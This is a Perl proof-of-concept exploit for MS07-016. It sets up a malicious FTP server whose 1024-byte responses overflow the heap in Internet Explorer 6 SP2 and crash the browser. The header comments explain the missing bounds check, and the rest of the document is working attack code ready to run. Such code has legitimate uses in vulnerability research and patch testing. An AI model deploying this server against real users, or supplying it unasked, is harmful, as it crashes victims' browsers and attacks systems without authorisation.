MS Internet Explorer (FTP Server Response) DoS Exploit

#!/usr/bin/perl

# MS 07-016 FTP Server Response PoC

# Usage: ./ms07016ftp.pl [LISTEN_IP]

#

# Tested Against: MSIE 6.02900.2180 (SP2)

#

# Details: The response is broken into buffers, either at length 1024,

# or at \’\\r\\n\’. Each buffer is apended with \\x00, without

# bounds checking. If the response is exctly 1024 characters

# in length, you will overflow the heap with the string \\x00.

use IO::Socket;

use strict;

# Create listener

my $ip=shift || \’127.0.0.1\’;

my $sock = IO::Socket::INET->new(Listen=>1,

LocalHost=>$ip,

LocalPort=>\’21\’,

Proto=>\’tcp\’);

$sock or die ("Could not create listener.\\nMake sure no FTP server is running, and you are running this as root.\\n");

# Wait for initial connection and send banner

my $sock_in = $sock->accept();

print $sock_in "220 waa waa wee waa\\r\\n";

# Send response code with total lenght of response = 1024

while (<$sock_in>){

my $response;

if($_ eq "USER") { $response="331 ";}

elsif($_ eq "PASS") { $response="230 ";}

elsif($_ eq "syst") { $response="215 ";}

elsif($_ eq "CWD") { $response="250 ";}

elsif($_ eq "PWD") { $response="230 ";}

else { $response="200 ";}

print $sock_in $response."A"x(1024-length($response)-2)."\\r\\n";

}

close($sock);

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